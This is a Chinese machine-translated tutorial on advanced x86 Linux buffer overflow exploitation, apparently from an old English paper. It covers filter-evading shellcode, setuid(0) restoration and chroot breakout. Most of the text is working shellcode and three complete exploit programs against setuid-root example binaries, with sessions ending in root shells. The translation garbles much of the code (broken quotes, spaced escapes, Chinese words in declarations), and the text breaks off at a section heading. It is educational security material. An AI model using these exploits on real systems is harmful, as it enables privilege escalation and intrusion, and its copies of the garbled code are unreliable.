首页 > 代码库 > 缓冲区溢出漏洞

缓冲区溢出漏洞

1.介绍
 现在有很多缓冲区溢出漏洞代码。早期缓冲区
溢出漏洞代码只产生一个shell(execute / bin / sh)。然而,
现在一些缓冲区溢出漏洞代码有非常好的功能。
例如,通过过滤,打开套接字,断开chroot,
等等。本文将尝试解释高级缓冲区溢出
利用intel x86 linux下的技能。

2.你在阅读之前需要知道什么?
 你必须知道汇编语言,C语言和Linux。当然,你
必须知道什么缓冲区溢出。你可以得到的信息
缓冲区溢出在语句49-14(粉碎堆栈的乐趣和利润
由Aleph1)。这是一个美妙的缓冲区溢出的纸,我强烈推荐
你读这个之前读这个。

3.通过过滤
 有很多程序有缓冲区溢出问题。为什么不是
所有缓冲区溢出问题被利用?因为即使一个程序有一个缓冲区
溢出的条件,可能很难利用。在很多情况下,原因是
程序过滤一些字符或将字符转换为其他字符
字符。如果程序过滤所有不可打印的字符,它也是
难以开发。如果程序过滤了一些字符,你可以通过
通过过滤器通过制作好的缓冲区溢出漏洞代码。:)

3.1示例脆弱程序

脆弱的
-------------------------------------------------- --------------------------
#include <string.h>
#include <ctype.h>

int main(int argc,int ** argv)
{
	char缓冲区[1024];
	int i;
	if(argc> 1)
	{
		for(i = 0; i <strlen(argv [1]); i ++)
			argv [1] [i] = toupper(argv [1] [i]);
		strcpy(buffer,argv [1]);
	}}
}}
-------------------------------------------------- --------------------------

 这个脆弱的程序将小写字母转换为大写字母
用户输入。因此,你必须做一个不包含任何shellcode
小字母。你怎么能这样做?你必须引用字符串
“/ bin / sh”,它必须包含小写字母。但是,你可以利用这个。:)

3.2修改正常shellcode
 几乎所有的缓冲区溢出漏洞代码使用这个shellcode。现在你有
删除shellcode中的所有小写字母。当然,新的shellcode
必须执行shell。

正常shellcode
-------------------------------------------------- --------------------------
char Shellcode [] =
	“\ xeb \ x1f”/ * jmp 0x1f * /
	“\ x5e”/ * popl%esi * /
	“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* /
	“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
	“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
	“\ x89 \ xf3”/ * movl%esi,%ebx * /
	“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
	“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ x89 \ xd8”/ * movl%ebx,%eax * /
	“\ x40”/ * inc%eax * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xe8 \ xdc \ xff \ xff \ xff”/ * call -0x24 * /
	“/ bin / sh”; / * .string \“/ bin / sh \”* /
-------------------------------------------------- --------------------------

 这个shellcode有6个小写字母。(5个小写字母在“/ bin / sh”和
“movl%esi,0x8(%esi)”中有1个小写字母)
 你不能直接使用“/ bin / sh”字符串来传递
过滤。但是,您可以插入除小字符以外的任何字符。
因此,您可以插入“\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”而不是
“\ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68”(“/ bin / sh”)。溢出缓冲区后
,您必须将“\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”更改为
“\ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68”执行“/ bin / sh”。你可以很容易地改变
通过将\ x50添加到\ x62,\ x69,\ x6e,\ x73和\ x68当您的shellcode
被执行。那么如何在“movl%esi,0x8(%esi)”中隐藏\ x76?您
可以将“movl%esi,0x8(%esi)”更改为执行相同操作的其他指令
指令,不包含任何小写字母。例如,
“movl%esi,0x8(%esi)”可以改变为“movl%esi,%eax”,“addl $ 0x8,%eax”
“movl%eax,0x8(%esi)”。更改的指令有任何小写字母。
(我认为其他好的指示,做同样的事情,这只是一个例子。)
现在新的shellcode。

新shellcode
-------------------------------------------------- --------------------------
char Shellcode [] =
	“\ xeb \ x38”/ * jmp 0x38 * /
	“\ x5e”/ * popl%esi * /
	“\ x80 \ x46 \ x01 \ x50”/ * addb $ 0x50,0x1(%esi)* /
	“\ x80 \ x46 \ x02 \ x50”/ * addb $ 0x50,0x2(%esi)* /
	“\ x80 \ x46 \ x03 \ x50”/ * addb $ 0x50,0x3(%esi)* /
	“\ x80 \ x46 \ x05 \ x50”/ * addb $ 0x50,0x5(%esi)* /
	“\ x80 \ x46 \ x06 \ x50”/ * addb $ 0x50,0x6(%esi)* /
	“\ x89 \ xf0”/ * movl%esi,%eax * /
	“\ x83 \ xc0 \ x08”/ * addl $ 0x8,%eax * /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* /
	“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
	“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
	“\ x89 \ xf3”/ * movl%esi,%ebx * /
	“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
	“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ x89 \ xd8”/ * movl%ebx,%eax * /
	“\ x40”/ * inc%eax * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xe8 \ xc3 \ xff \ xff \ xff”/ * call -0x3d * /
	“\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”; / * .string“/ bin / sh”* /
	                                / * / bin / sh伪装* /
-------------------------------------------------- --------------------------

3.3利用弱势群体1计划

 有了这个shellcode,你可以轻松地做一个exploit代码。

exploit1.c
-------------------------------------------------- --------------------------
#include <stdio.h>
#include <stdlib.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char Shellcode [] =
	“\ xeb \ x38”/ * jmp 0x38 * /
	“\ x5e”/ * popl%esi * /
	“\ x80 \ x46 \ x01 \ x50”/ * addb $ 0x50,0x1(%esi)* /
	“\ x80 \ x46 \ x02 \ x50”/ * addb $ 0x50,0x2(%esi)* /
	“\ x80 \ x46 \ x03 \ x50”/ * addb $ 0x50,0x3(%esi)* /
	“\ x80 \ x46 \ x05 \ x50”/ * addb $ 0x50,0x5(%esi)* /
	“\ x80 \ x46 \ x06 \ x50”/ * addb $ 0x50,0x6(%esi)* /
	“\ x89 \ xf0”/ * movl%esi,%eax * /
	“\ x83 \ xc0 \ x08”/ * addl $ 0x8,%eax * /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* /
	“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
	“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
	“\ x89 \ xf3”/ * movl%esi,%ebx * /
	“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
	“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ x89 \ xd8”/ * movl%ebx,%eax * /
	“\ x40”/ * inc%eax * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xe8 \ xc3 \ xff \ xff \ xff”/ * call -0x3d * /
	“\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”; / * .string“/ bin / sh”* /
	                                / * / bin / sh伪装* /

unsigned long get_sp(void)
{
	__asm __(“movl%esp,%eax”);
}}

main(int argc,char ** argv)
{
	char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr;
	长加
	无符号长整型
	int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1;
	int i;

	if(argc> 1)
		offset = atoi(argv [1]);

	sp = get_sp();
	addr = sp-offset;

	for(i = 0; i <bsize; i + = 4)
	{
		buff [i + ALIGN] =(addr&0x000000ff);
		buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8;
		buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16;
		buff [i + ALIGN + 3] =(addr&0xff000000)>> 24;
	}}

	for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++)
		buff [i] = NOP;

	ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1;
	for(i = 0; i <strlen(shellcode); i ++)
		*(ptr ++)= shellcode [i];

	buff [bsize-1] =‘\ 0‘;

	printf(“Jump to 0x%08x \ n”,addr);

	execl(“./ vulnerable1”,“vulnerable1”,buff,0);
}}
-------------------------------------------------- --------------------------

利用漏洞1程序
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ ls -l vulnerable1
-rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1 *
[ohhara @ ohhara?] {2} $ ls -l exploit1
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1 *
[ohhara @ ohhara?] {3} $ ./exploit1
跳转到0xbfffec64
分段故障
[ohhara @ ohhara?] {4} $ ./exploit1 500
跳转到0xbfffea70
bash#whoami
根
bash#
-------------------------------------------------- --------------------------

3.4你可以用这种技术做什么?
 你可以通过这种技术通过各种形式的过滤器。当。。。的时候
脆弱的程序过滤!@#$%^&*(),可以让新的shellcode了
不包含!@#$%^&*()。但是,你会有困难
shellcode,如果程序过滤了很多字符。

4将uid更改为0
 setuid根程序知道具有root权限的工作是非常
危险的呼叫seteuid(getuid())在开始。并且它调用seteuid(0)
需要。许多程序员认为它在调用seteuid(getuid())后是安全的。
然而,这不是真的。uid可以恢复为0。

4.1示例脆弱程序

脆弱
-------------------------------------------------- --------------------------
#include <string.h>
#include <unistd.h>

int main(int argc,char ** argv)
{
	char缓冲区[1024];
	seteuid(getuid());
	if(argc> 1)
		strcpy(buffer,argv [1]);
}}
-------------------------------------------------- --------------------------

 这个脆弱的程序在启动时调用seteuid(getuid())。因此,你
可能认为“strcpy(buffer,argv [1]);” 是好的。因为你只能得到
你自己的shell虽然你成功在缓冲区溢出攻击。然而,
如果你插入一个代码在shellcode中调用setuid(0),你可以得到
根壳。:)

4.2设置setuid(0)代码

setuidasm.c
-------------------------------------------------- --------------------------
主要()
{
	setuid(0);
}}
-------------------------------------------------- --------------------------

编译和反汇编
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ gcc -o setuidasm -static setuidasm.c
[ohhara @ ohhara?] {2} $ gdb setuidasm
GNU gdb 4.17
版权所有1998自由软件基金会
GDB是免费软件,由GNU通用公共许可证覆盖,你是
欢迎在特定条件下更改和/或分发它的副本。
键入“显示复制”以查看条件。
GDB绝对没有保修。有关详细信息,请键入“显示保修”。
这个GDB被配置为“i386-redhat-linux”...
(gdb)反汇编setuid
函数__setuid的汇编代码转储:
0x804ca00 <__ setuid>:movl%ebx,%edx
0x804ca02 <__ setuid + 2>:movl 0x4(%esp,1),%ebx
0x804ca06 <__ setuid + 6>:movl $ 0x17,%eax
0x804ca0b <__ setuid + 11>:int $ 0x80
0x804ca0d <__ setuid + 13>:movl%edx,%ebx
0x804ca0f <__ setuid + 15>:cmpl $ 0xfffff001,%eax
0x804ca14 <__ setuid + 20>:jae 0x804cc10 <__ syscall_error>
0x804ca1a <__ setuid + 26>:ret    
0x804ca1b <__ setuid + 27>:nop    
0x804ca1c <__ setuid + 28>:nop    
0x804ca1d <__ setuid + 29>:nop    
0x804ca1e <__ setuid + 30>:nop    
0x804ca1f <__ setuid + 31>:nop    
汇编器转储结束。
(gdb)
-------------------------------------------------- --------------------------

setuid(0); 码
-------------------------------------------------- --------------------------
char code [] =
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ xb0 \ x17”/ * movb $ 0x17,%al * /
	“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------

4.3修改正常shellcode

 如果你做setuid(0)代码,创建新的shellcode很容易。只需插入
代码进入正常shellcode的开始。

新shellcode
-------------------------------------------------- --------------------------
char Shellcode [] =
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ xb0 \ x17”/ * movb $ 0x17,%al * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xeb \ x1f”/ * jmp 0x1f * /
	“\ x5e”/ * popl%esi * /
	“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* /
	“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
	“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
	“\ x89 \ xf3”/ * movl%esi,%ebx * /
	“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
	“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ x89 \ xd8”/ * movl%ebx,%eax * /
	“\ x40”/ * inc%eax * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xe8 \ xdc \ xff \ xff \ xff”/ * call -0x24 * /
	“/ bin / sh”; / * .string \“/ bin / sh \”* /
-------------------------------------------------- --------------------------

4.4利用易受攻击的程序

 有了这个shellcode,你可以轻松地做一个exploit代码。

exploit2.c
-------------------------------------------------- --------------------------
#include <stdio.h>
#include <stdlib.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char Shellcode [] =
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ xb0 \ x17”/ * movb $ 0x17,%al * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xeb \ x1f”/ * jmp 0x1f * /
	“\ x5e”/ * popl%esi * /
	“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* /
	“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
	“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
	“\ x89 \ xf3”/ * movl%esi,%ebx * /
	“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
	“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ x89 \ xd8”/ * movl%ebx,%eax * /
	“\ x40”/ * inc%eax * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xe8 \ xdc \ xff \ xff \ xff”/ * call -0x24 * /
	“/ bin / sh”; / * .string \“/ bin / sh \”* /

unsigned long get_sp(void)
{
	__asm __(“movl%esp,%eax”);
}}

void main(int argc,char ** argv)
{
	char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr;
	长加
	无符号长整型
	int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1;
	int i;

	if(argc> 1)
		offset = atoi(argv [1]);

	sp = get_sp();
	addr = sp-offset;

	for(i = 0; i <bsize; i + = 4)
	{
		buff [i + ALIGN] =(addr&0x000000ff);
		buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8;
		buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16;
		buff [i + ALIGN + 3] =(addr&0xff000000)>> 24;
	}}

	for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++)
		buff [i] = NOP;

	ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1;
	for(i = 0; i <strlen(shellcode); i ++)
		*(ptr ++)= shellcode [i];

	buff [bsize-1] =‘\ 0‘;

	printf(“Jump to 0x%08x \ n”,addr);

	execl(“./ vulnerable2”,“vulnerable2”,buff,0);
}}
-------------------------------------------------- --------------------------

利用vulnerability2程序
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ ls -l vulnerable2
-rwsr-xr-x 1 root root 4258 Oct 18 14:16 vulnerable2 *
[ohhara @ ohhara?] {2} $ ls -l exploit2
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 14:26 exploit2 *
[ohhara @ ohhara?] {3} $ ./exploit2
跳转到0xbfffec64
非法指令
[ohhara @ ohhara?] {4} $ ./exploit2 500
跳转到0xbfffea70
bash#whoami
根
bash#
-------------------------------------------------- --------------------------

4.5你可以用这种技术做什么?
 你用缓冲区溢出攻击setuid根程序,但你只能得到你
自己的壳。你可以在这种情况下使用这种技术。

5断开chroot
 如果setuid根程序chroot,你只能访问chrooted
目录。您无法访问根目录。但是,您可以访问所有
目录,如果你的shellcode改变根目录到“/”。:)

5.1示例脆弱程序

脆弱
-------------------------------------------------- --------------------------
#include <string.h>
#include <unistd.h>

int main(int argc,char ** argv)
{
	char缓冲区[1024];
	“chroot(”/ home / ftp“);
	chdir(“/”);
	if(argc> 1)
		strcpy(buffer,argv [1]);
}}
-------------------------------------------------- --------------------------

 如果尝试用缓冲区溢出执行“/ bin / sh”,它可能会执行
“/ home / ftp / bin / sh”(如果存在),并且您无法访问其他目录
除了“/ home / ftp”。

5.2 make chroot代码
 如果你可以执行下面的代码,你可以打破chroot。

breakchrootasm.c
-------------------------------------------------- --------------------------
主要()
{
	mkdir(“sh”,0755);
	chroot(“sh”);
	/ * many“../”* /
	chroot(“../../../../../../../../../../../../../../../ ... /“);
}}
-------------------------------------------------- --------------------------

 这个断开chroot代码使“sh”目录,因为它很容易引用。
(它也用于执行“/ bin / sh”)

编译和反汇编
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ gcc -o breakchrootasm -static breakchrootasm.c
[ohhara @ ohhara?] {2} $ gdb breakchrootasm
GNU gdb 4.17
版权所有1998自由软件基金会
GDB是免费软件,由GNU通用公共许可证覆盖,你是
欢迎在特定条件下更改和/或分发它的副本。
键入“显示复制”以查看条件。
GDB绝对没有保修。有关详细信息,请键入“显示保修”。
这个GDB被配置为“i386-redhat-linux”...
(gdb)反汇编mkdir
函数__mkdir的汇编代码转储:
0x804cac0 <__ mkdir>:movl%ebx,%edx
0x804cac2 <__ mkdir + 2>:movl 0x8(%esp,1),%ecx
0x804cac6 <__ mkdir + 6>:movl 0x4(%esp,1),%ebx
0x804caca <__ mkdir + 10>:movl $ 0x27,%eax
0x804cacf <__ mkdir + 15>:int $ 0x80
0x804cad1 <__ mkdir + 17>:movl%edx,%ebx
0x804cad3 <__ mkdir + 19>:cmpl $ 0xfffff001,%eax
0x804cad8 <__ mkdir + 24>:jae 0x804cc40 <__ syscall_error>
0x804cade <__ mkdir + 30>:ret    
0x804cadf <__ mkdir + 31>:nop    
汇编器转储结束。
(gdb)反汇编chroot
函数chroot的汇编代码转储:
0x804cb60 <chroot>:movl%ebx,%edx
0x804cb62 <chroot + 2>:movl 0x4(%esp,1),%ebx
0x804cb66 <chroot + 6>:movl $ 0x3d,%eax
0x804cb6b <chroot + 11>:int $ 0x80
0x804cb6d <chroot + 13>:movl%edx,%ebx
0x804cb6f <chroot + 15>:cmpl $ 0xfffff001,%eax
0x804cb74 <chroot + 20>:jae 0x804cc40 <__ syscall_error>
0x804cb7a <chroot + 26>:ret    
0x804cb7b <chroot + 27>:nop    
0x804cb7c <chroot + 28>:nop    
0x804cb7d <chroot + 29>:nop    
0x804cb7e <chroot + 30>:nop    
0x804cb7f <chroot + 31>:nop    
汇编器转储结束。
(gdb)
-------------------------------------------------- --------------------------

mkdir(“sh”,0755); 码
-------------------------------------------------- --------------------------
	/ * mkdir第一个参数是%ebx,第二个参数是* /
	/ *%ecx。* /
char code [] =
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
	“\ xb0 \ x17”/ * movb $ 0x27,%al * /
	“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
	/ *%esi在使用此* /之前必须引用“/ bin / sh”
	/ *指令。该指令加载地址为“sh”* /
	/ *并存储在%ebx * /
	“\ xfe \ xc5”/ * incb%ch * /
	/ *%cx = 0000 0001 0000 0000 * /
	“\ xb0 \ x3d”/ * movb $ 0xed,%cl * /
	/ *%cx = 0000 0001 1110 1101 * /
	/ *%cx = 000 111 101 101 * /
	/ *%cx = 0 7 5 5 * /
	“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------

chroot(“sh”); 码
-------------------------------------------------- --------------------------
	/ * chroot的第一个参数是ebx * /
char code [] =
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
	“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
	“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------

chroot(“../../../../../../../../../../../../../../../ ... /“); 码
-------------------------------------------------- --------------------------
char code [] =
	“\ xbb \ xd2 \ xd1 \ xd0 \ xff”/ * movl $ 0xffd0d1d2,%ebx * /
	/ *伪装“../”字符串* /
	“\ xf7 \ xdb”/ * negl%ebx * /
	/ *%ebx = $ 0x002f2e2e * /
	/ * intel x86是小字节序。* /
	/ *%ebx =“../”* /
	“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
	“\ xb1 \ x10”/ * movb $ 0x10,%cl * /
	/ *准备循环16次。* /
	“\ x56”/ * pushl%esi * /
	/ *备用电流%esi。%esi的指针为* /
	/ *“/ bin / sh”。* /
	“\ x01 \ xce”/ * addl%ecx,%esi * /
	“\ x89 \ x1e”/ * movl%ebx,(%esi)* /
	“\ x83 \ xc6 \ x03”/ * addl $ 0x3,%esi * /
	“\ xe0 \ xf9”/ * loopne -0x7 * /
	/ * make“../../../../。。。”字符串在* /
	/ * 0x10(%esi)。* /
	“\ x5e”/ * popl%esi * /
	/ * restore%esi。* /
	“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
	“\ x8d \ x5e \ x10”/ * leal 0x10(%esi),%ebx * /
	/ *%ebx的地址为“../../../../ ...”。* /
	“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------

5.3修改正常的shellcode

 如果你打破chroot代码,新的shellcode很容易。只需插入
代码进入正常shellcode的开始并修改jmp并调用
论据。

新shellcode
-------------------------------------------------- --------------------------
char Shellcode [] =
	“\ xeb \ x4f”/ * jmp 0x4f * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
	“\ x5e”/ * popl%esi * /
	“\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* /
	“\ xb0 \ x27”/ * movb $ 0x27,%al * /
	“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
	“\ xfe \ xc5”/ * incb%ch * /
	“\ xb1 \ xed”/ * movb $ 0xed,%cl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
	“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ xbb \ xd2 \ xd1 \ xd0 \ xff”/ * movl $ 0xffd0d1d2,%ebx * /
	“\ xf7 \ xdb”/ * negl%ebx * /
	“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
	“\ xb1 \ x10”/ * movb $ 0x10,%cl * /
	“\ x56”/ * pushl%esi * /
	“\ x01 \ xce”/ * addl%ecx,%esi * /
	“\ x89 \ x1e”/ * movl%ebx,(%esi)* /
	“\ x83 \ xc6 \ x03”/ * addl%0x3,%esi * /
	“\ xe0 \ xf9”/ * loopne -0x7 * /
	“\ x5e”/ * popl%esi * /
	“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
	“\ x8d \ x5e \ x10”/ * leal 0x10(%esi),%ebx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
	“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
	“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
	“\ x89 \ xf3”/ * movl%esi,%ebx * /
	“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
	“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xe8 \ xac \ xff \ xff \ xff”/ * call -0x54 * /
	“/ bin / sh”; / * .string \“/ bin / sh \”* /
-------------------------------------------------- --------------------------

5.4利用弱势群体3计划
 有了这个shellcode,你可以轻松地做一个exploit代码。

exploit3.c
-------------------------------------------------- --------------------------
#include <stdio.h>
#include <stdlib.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char Shellcode [] =
	“\ xeb \ x4f”/ * jmp 0x4f * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
	“\ x5e”/ * popl%esi * /
	“\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* /
	“\ xb0 \ x27”/ * movb $ 0x27,%al * /
	“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
	“\ xfe \ xc5”/ * incb%ch * /
	“\ xb1 \ xed”/ * movb $ 0xed,%cl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
	“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ xbb \ xd2 \ xd1 \ xd0 \ xff”/ * movl $ 0xffd0d1d2,%ebx * /
	“\ xf7 \ xdb”/ * negl%ebx * /
	“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
	“\ xb1 \ x10”/ * movb $ 0x10,%cl * /
	“\ x56”/ * pushl%esi * /
	“\ x01 \ xce”/ * addl%ecx,%esi * /
	“\ x89 \ x1e”/ * movl%ebx,(%esi)* /
	“\ x83 \ xc6 \ x03”/ * addl%0x3,%esi * /
	“\ xe0 \ xf9”/ * loopne -0x7 * /
	“\ x5e”/ * popl%esi * /
	“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
	“\ x8d \ x5e \ x10”/ * leal 0x10(%esi),%ebx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
	“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
	“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
	“\ x89 \ xf3”/ * movl%esi,%ebx * /
	“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
	“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xe8 \ xac \ xff \ xff \ xff”/ * call -0x54 * /
	“/ bin / sh”; / * .string \“/ bin / sh \”* /

unsigned long get_sp(void)
{
	__asm __(“movl%esp,%eax”);
}}

void main(int argc,char ** argv)
{
	char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr;
	长加
	无符号长整型
	int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1;
	int i;

	if(argc> 1)
		offset = atoi(argv [1]);

	sp = get_sp();
	addr = sp-offset;

	for(i = 0; i <bsize; i + = 4)
	{
		buff [i + ALIGN] =(addr&0x000000ff);
		buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8;
		buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16;
		buff [i + ALIGN + 3] =(addr&0xff000000)>> 24;
	}}

	for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++)
		buff [i] = NOP;

	ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1;
	for(i = 0; i <strlen(shellcode); i ++)
		*(ptr ++)= shellcode [i];

	buff [bsize-1] =‘\ 0‘;

	printf(“Jump to 0x%08x \ n”,addr);

	execl(“./ vulnerable3”,“vulnerable3”,buff,0);
}}
-------------------------------------------------- --------------------------

利用漏洞3程序
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ ls -l vulnerable3
-rwsr-xr-x 1 root root 4348 Oct 18 15:06 vulnerable3 *
[ohhara @ ohhara?] {2} $ ls -l exploit3
-rwxr-xr-x 1 ohhara cse 5059 Oct 18 17:13 exploit3 *
[ohhara @ ohhara?] {3} $ ./exploit3
跳转到0xbfffec68
分段故障
[ohhara @ ohhara?] {4} $ ./exploit3 500
跳转到0xbfffea74
分段故障
[ohhara @ ohhara?] {5} $ ./exploit3 -500
跳转到0xbfffee5c
bash#whoami
根
bash#pwd
/ home / ftp
bash#cd /
bash#pwd
/
bash#ls
afs boot etc home lost + found mnt root tmp var
bin dev export lib misc proc sbin usr
bash#
-------------------------------------------------- --------------------------

5.5你可以用这种技术做什么?
 你不能通过攻击chroot的setuid程序来访问根目录
缓冲区溢出。但是,您可以使用此技术访问所有目录。
 
6打开插座
